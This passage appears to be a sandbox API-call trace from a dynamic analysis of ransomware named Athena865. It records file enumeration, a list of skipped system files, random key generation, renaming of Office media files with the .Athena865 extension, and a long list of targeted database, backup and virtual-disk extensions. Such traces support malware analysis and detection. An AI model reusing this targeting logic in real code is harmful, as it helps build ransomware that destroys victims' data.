RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.214] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.215] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.215] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.215] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e40, lpName=0x0) returned 0x154 [0138.217] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e40) returned 0x100000 [0138.218] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.219] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.219] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.220] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.220] CloseHandle (hObject=0x154) returned 1 [0138.220] CloseHandle (hObject=0x17c) returned 1 [0138.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.220] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2=".") returned 1 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2="..") returned 1 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2="windows") returned -1 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2="bootmgr") returned 1 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2="temp") returned -1 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2="pagefile.sys") returned -1 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2="boot") returned 1 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2="ids.txt") returned 1 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2="ntuser.dat") returned -1 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2="perflogs") returned -1 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2="MSBuild") returned -1 [0138.221] lstrlenW (lpString="J0187423.WMF") returned 12 [0138.221] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0187423.WMF" | out: lpString1="J0187423.WMF") returned="J0187423.WMF" [0138.221] lstrlenW (lpString="J0187423.WMF") returned 12 [0138.221] lstrlenW (lpString="Athena865") returned 9 [0138.221] lstrcmpiW (lpString1="87423.WMF", lpString2="Athena865") returned -1 [0138.221] lstrlenW (lpString=".dll") returned 4 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2=".dll") returned 1 [0138.221] lstrlenW (lpString=".lnk") returned 4 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2=".lnk") returned 1 [0138.221] lstrlenW (lpString=".ini") returned 4 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2=".ini") returned 1 [0138.221] lstrlenW (lpString=".sys") returned 4 [0138.221] lstrcmpiW (lpString1="J0187423.WMF", lpString2=".sys") returned 1 [0138.221] lstrlenW (lpString="J0187423.WMF") returned 12 [0138.222] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF.Athena865") returned 71 [0138.222] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf.athena865"), dwFlags=0x1) returned 1 [0138.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.223] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18246) returned 1 [0138.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.224] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.224] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.224] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.225] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a50, lpName=0x0) returned 0x154 [0138.226] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a50) returned 0x100000 [0138.232] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.232] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.232] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.234] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.234] CloseHandle (hObject=0x154) returned 1 [0138.234] CloseHandle (hObject=0x17c) returned 1 [0138.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.234] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1 [0138.234] lstrcmpiW (lpString1="J0195384.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.234] lstrcmpiW (lpString1="J0195384.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.234] lstrcmpiW (lpString1="J0195384.WMF", lpString2=".") returned 1 [0138.234] lstrcmpiW (lpString1="J0195384.WMF", lpString2="..") returned 1 [0138.234] lstrcmpiW (lpString1="J0195384.WMF", lpString2="windows") returned -1 [0138.234] lstrcmpiW (lpString1="J0195384.WMF", lpString2="bootmgr") returned 1 [0138.235] lstrcmpiW (lpString1="J0195384.WMF", lpString2="temp") returned -1 [0138.235] lstrcmpiW (lpString1="J0195384.WMF", lpString2="pagefile.sys") returned -1 [0138.235] lstrcmpiW (lpString1="J0195384.WMF", lpString2="boot") returned 1 [0138.235] lstrcmpiW (lpString1="J0195384.WMF", lpString2="ids.txt") returned 1 [0138.235] lstrcmpiW (lpString1="J0195384.WMF", lpString2="ntuser.dat") returned -1 [0138.235] lstrcmpiW (lpString1="J0195384.WMF", lpString2="perflogs") returned -1 [0138.235] lstrcmpiW (lpString1="J0195384.WMF", lpString2="MSBuild") returned -1 [0138.235] lstrlenW (lpString="J0195384.WMF") returned 12 [0138.235] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0195384.WMF" | out: lpString1="J0195384.WMF") returned="J0195384.WMF" [0138.235] lstrlenW (lpString="J0195384.WMF") returned 12 [0138.235] lstrlenW (lpString="Athena865") returned 9 [0138.235] lstrcmpiW (lpString1="95384.WMF", lpString2="Athena865") returned -1 [0138.235] lstrlenW (lpString=".dll") returned 4 [0138.235] lstrcmpiW (lpString1="J0195384.WMF", lpString2=".dll") returned 1 [0138.235] lstrlenW (lpString=".lnk") returned 4 [0138.235] lstrcmpiW (lpString1="J0195384.WMF", lpString2=".lnk") returned 1 [0138.235] lstrlenW (lpString=".ini") returned 4 [0138.235] lstrcmpiW (lpString1="J0195384.WMF", lpString2=".ini") returned 1 [0138.235] lstrlenW (lpString=".sys") returned 4 [0138.235] lstrcmpiW (lpString1="J0195384.WMF", lpString2=".sys") returned 1 [0138.235] lstrlenW (lpString="J0195384.WMF") returned 12 [0138.235] lstrlenW (lpString="bak") returned 3 [0138.235] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.235] lstrlenW (lpString="ba_") returned 3 [0138.235] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.235] lstrlenW (lpString="dbb") returned 3 [0138.235] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.235] lstrlenW (lpString="vmdk") returned 4 [0138.236] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.236] lstrlenW (lpString="rar") returned 3 [0138.236] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.236] lstrlenW (lpString="zip") returned 3 [0138.236] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.236] lstrlenW (lpString="tgz") returned 3 [0138.236] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.236] lstrlenW (lpString="vbox") returned 4 [0138.236] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.236] lstrlenW (lpString="vdi") returned 3 [0138.236] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.236] lstrlenW (lpString="vhd") returned 3 [0138.236] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.236] lstrlenW (lpString="vhdx") returned 4 [0138.236] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.236] lstrlenW (lpString="avhd") returned 4 [0138.236] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.236] lstrlenW (lpString="db") returned 2 [0138.236] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.236] lstrlenW (lpString="db2") returned 3 [0138.236] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.236] lstrlenW (lpString="db3") returned 3 [0138.236] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0138.236] lstrlenW (lpString="dbf") returned 3 [0138.236] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.236] lstrlenW (lpString="mdf") returned 3 [0138.236] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.236] lstrlenW (lpString="mdb") returned 3 [0138.236] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.237] lstrlenW (lpString="sql") returned 3 [0138.237] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.237] lstrlenW (lpString="sqlite") returned 6 [0138.237] lstrcmpiW (lpString1="84.WMF", lpString2="sqlite") returned -1 [0138.237] lstrlenW (lpString="sqlite3") returned 7 [0138.237] lstrcmpiW (lpString1="384.WMF", lpString2="sqlite3") returned -1 [0138.237] lstrlenW (lpString="sqlitedb") returned 8 [0138.237] lstrcmpiW (lpString1="5384.WMF", lpString2="sqlitedb") returned -1 [0138.237] lstrlenW (lpString="xml") returned 3 [0138.237] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.237] lstrlenW (lpString="$er") returned 3 [0138.237] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0138.237] lstrlenW (lpString="4dd") returned 3 [0138.237] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.237] lstrlenW (lpString="4dl") returned 3 [0138.237] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.237] lstrlenW (lpString="^^^") returned 3 [0138.237] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.237] lstrlenW (lpString="abs") returned 3 [0138.237] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.237] lstrlenW (lpString="abx") returned 3 [0138.237] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.237] lstrlenW (lpString="accdb") returned 5 [0138.237] lstrcmpiW (lpString1="4.WMF", lpString2="accdb") returned -1 [0138.237] lstrlenW (lpString="accdc") returned 5 [0138.237] lstrcmpiW (lpString1="4.WMF", lpString2="accdc") returned -1 [0138.237] lstrlenW (lpString="accde") returned 5 [0138.237] lstrcmpiW (lpString1="4.WMF", lpString2="accde") returned -1 [0138.238] lstrlenW (lpString="accdr") returned 5 [0138.238] lstrcmpiW (lpString1="4.WMF", lpString2="accdr") returned -1 [0138.238] lstrlenW (lpString="accdt") returned 5 [0138.238] lstrcmpiW (lpString1="4.WMF", lpString2="accdt") returned -1 [0138.238] lstrlenW (lpString="accdw") returned 5 [0138.238] lstrcmpiW (lpString1="4.WMF", lpString2="accdw") returned -1 [0138.238] lstrlenW (lpString="accft") returned 5 [0138.238] lstrcmpiW (lpString1="4.WMF", lpString2="accft") returned -1 [0138.238] lstrlenW (lpString="adb") returned 3 [0138.238] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.238] lstrlenW (lpString="adb") returned 3 [0138.238] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.238] lstrlenW (lpString="ade") returned 3 [0138.238] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.238] lstrlenW (lpString="adf") returned 3 [0138.238] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.238] lstrlenW (lpString="adn") returned 3 [0138.238] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.238] lstrlenW (lpString="adp") returned 3 [0138.238] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.238] lstrlenW (lpString="alf") returned 3 [0138.238] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.238] lstrlenW (lpString="ask") returned 3 [0138.238] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.238] lstrlenW (lpString="btr") returned 3 [0138.238] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.238] lstrlenW (lpString="cat") returned 3 [0138.238] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.238] lstrlenW (lpString="cdb") returned 3 [0138.239] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0138.239] lstrlenW (lpString="ckp") returned 3 [0138.239] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.239] lstrlenW (lpString="cma") returned 3 [0138.239] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.239] lstrlenW (lpString="cpd") returned 3 [0138.239] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.239] lstrlenW (lpString="dacpac") returned 6 [0138.239] lstrcmpiW (lpString1="84.WMF", lpString2="dacpac") returned -1 [0138.239] lstrlenW (lpString="dad") returned 3 [0138.239] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.239] lstrlenW (lpString="dadiagrams") returned 10 [0138.239] lstrcmpiW (lpString1="195384.WMF", lpString2="dadiagrams") returned -1 [0138.239] lstrlenW (lpString="daschema") returned 8 [0138.239] lstrcmpiW (lpString1="5384.WMF", lpString2="daschema") returned -1 [0138.239] lstrlenW (lpString="db-journal") returned 10 [0138.239] lstrcmpiW (lpString1="195384.WMF", lpString2="db-journal") returned -1 [0138.239] lstrlenW (lpString="db-shm") returned 6 [0138.239] lstrcmpiW (lpString1="84.WMF", lpString2="db-shm") returned -1 [0138.239] lstrlenW (lpString="db-wal") returned 6 [0138.239] lstrcmpiW (lpString1="84.WMF", lpString2="db-wal") returned -1 [0138.239] lstrlenW (lpString="dbc") returned 3 [0138.239] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.239] lstrlenW (lpString="dbs") returned 3 [0138.239] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.239] lstrlenW (lpString="dbt") returned 3 [0138.239] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.239] lstrlenW (lpString="dbv") returned 3 [0138.240] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.240] lstrlenW (lpString="dbx") returned 3 [0138.240] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.240] lstrlenW (lpString="dcb") returned 3 [0138.240] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.240] lstrlenW (lpString="dct") returned 3 [0138.240] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.240] lstrlenW (lpString="dcx") returned 3 [0138.240] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0138.240] lstrlenW (lpString="ddl") returned 3 [0138.240] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0138.240] lstrlenW (lpString="dlis") returned 4 [0138.240] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0138.240] lstrlenW (lpString="dp1") returned 3 [0138.240] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0138.240] lstrlenW (lpString="dqy") returned 3 [0138.240] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0138.240] lstrlenW (lpString="dsk") returned 3 [0138.240] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0138.240] lstrlenW (lpString="dsn") returned 3 [0138.240] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0138.240] lstrlenW (lpString="dtsx") returned 4 [0138.240] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0138.240] lstrlenW (lpString="dxl") returned 3 [0138.240] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0138.240] lstrlenW (lpString="eco") returned 3 [0138.240] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0138.241] lstrlenW (lpString="ecx") returned 3 [0138.242] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0138.242] lstrlenW (lpString="edb") returned 3 [0138.242] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0138.242] lstrlenW (lpString="epim") returned 4 [0138.242] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0138.243] lstrlenW (lpString="fcd") returned 3 [0138.243] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0138.243] lstrlenW (lpString="fdb") returned 3 [0138.243] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0138.243] lstrlenW (lpString="fic") returned 3 [0138.243] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0138.243] lstrlenW (lpString="flexolibrary") returned 12 [0138.243] lstrlenW (lpString="fm5") returned 3 [0138.243] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0138.243] lstrlenW (lpString="fmp") returned 3 [0138.243] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0138.243] lstrlenW (lpString="fmp12") returned 5 [0138.243] lstrcmpiW (lpString1="4.WMF", lpString2="fmp12") returned -1 [0138.243] lstrlenW (lpString="fmpsl") returned 5 [0138.243] lstrcmpiW (lpString1="4.WMF", lpString2="fmpsl") returned -1 [0138.243] lstrlenW (lpString="fol") returned 3 [0138.243] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0138.243] lstrlenW (lpString="fp3") returned 3 [0138.243] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0138.243] lstrlenW (lpString="fp4") returned 3 [0138.243] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0138.243] lstrlenW (lpString="fp5") returned 3 [0138.243] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0138.243] lstrlenW (lpString="fp7") returned 3 [0138.243] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0138.243] lstrlenW (lpString="fpt") returned 3 [0138.243] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0138.244] lstrlenW (lpString="frm") returned 3 [0138.244] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0138.244] lstrlenW (lpString="gdb") returned 3 [0138.244] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.244] lstrlenW (lpString="gdb") returned 3 [0138.244] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.244] lstrlenW (lpString="grdb") returned 4 [0138.244] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0138.244] lstrlenW (lpString="gwi") returned 3 [0138.244] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0138.244] lstrlenW (lpString="hdb") returned 3 [0138.244] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0138.244] lstrlenW (lpString="his") returned 3 [0138.244] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0138.244] lstrlenW (lpString="ib") returned 2 [0138.244] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0138.244] lstrlenW (lpString="idb") returned 3 [0138.244] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0138.244] lstrlenW (lpString="ihx") returned 3 [0138.244] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0138.244] lstrlenW (lpString="itdb") returned 4 [0138.244] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0138.244] lstrlenW (lpString="itw") returned 3 [0138.244] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0138.244] lstrlenW (lpString="jet") returned 3 [0138.244] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0138.244] lstrlenW (lpString="jtx") returned 3 [0138.244] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0138.245] lstrlenW (lpString="kdb") returned 3 [0138.245] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0138.245] lstrlenW (lpString="kexi") returned 4 [0138.245] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0138.245] lstrlenW (lpString="kexic") returned 5 [0138.245] lstrcmpiW (lpString1="4.WMF", lpString2="kexic") returned -1 [0138.245] lstrlenW (lpString="kexis") returned 5 [0138.245] lstrcmpiW (lpString1="4.WMF", lpString2="kexis") returned -1 [0138.245] lstrlenW (lpString="lgc") returned 3 [0138.245] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0138.245] lstrlenW (lpString="lwx") returned 3 [0138.245] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0138.245] lstrlenW (lpString="maf") returned 3 [0138.245] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0138.245] lstrlenW (lpString="maq") returned 3 [0138.245] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0138.245] lstrlenW (lpString="mar") returned 3 [0138.245] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0138.245] lstrlenW (lpString="marshal") returned 7 [0138.245] lstrcmpiW (lpString1="384.WMF", lpString2="marshal") returned -1 [0138.245] lstrlenW (lpString="mas") returned 3 [0138.245] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0138.245] lstrlenW (lpString="mav") returned 3 [0138.245] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0138.245] lstrlenW (lpString="maw") returned 3 [0138.245] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0138.245] lstrlenW (lpString="mdbhtml") returned 7 [0138.245] lstrcmpiW (lpString1="384.WMF", lpString2="mdbhtml") returned -1 [0138.246] lstrlenW (lpString="mdn") returned 3 [0138.246] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0138.246] lstrlenW (lpString="mdt") returned 3 [0138.246] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0138.246] lstrlenW (lpString="mfd") returned 3 [0138.246] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0138.246] lstrlenW (lpString="mpd") returned 3 [0138.246] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0138.246] lstrlenW (lpString="mrg") returned 3 [0138.246] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0138.246] lstrlenW (lpString="mud") returned 3 [0138.246] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0138.246] lstrlenW (lpString="mwb") returned 3 [0138.246] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0138.246] lstrlenW (lpString="myd") returned 3 [0138.246] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0138.246] lstrlenW (lpString="ndf") returned 3 [0138.246] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0138.246] lstrlenW (lpString="nnt") returned 3 [0138.246] 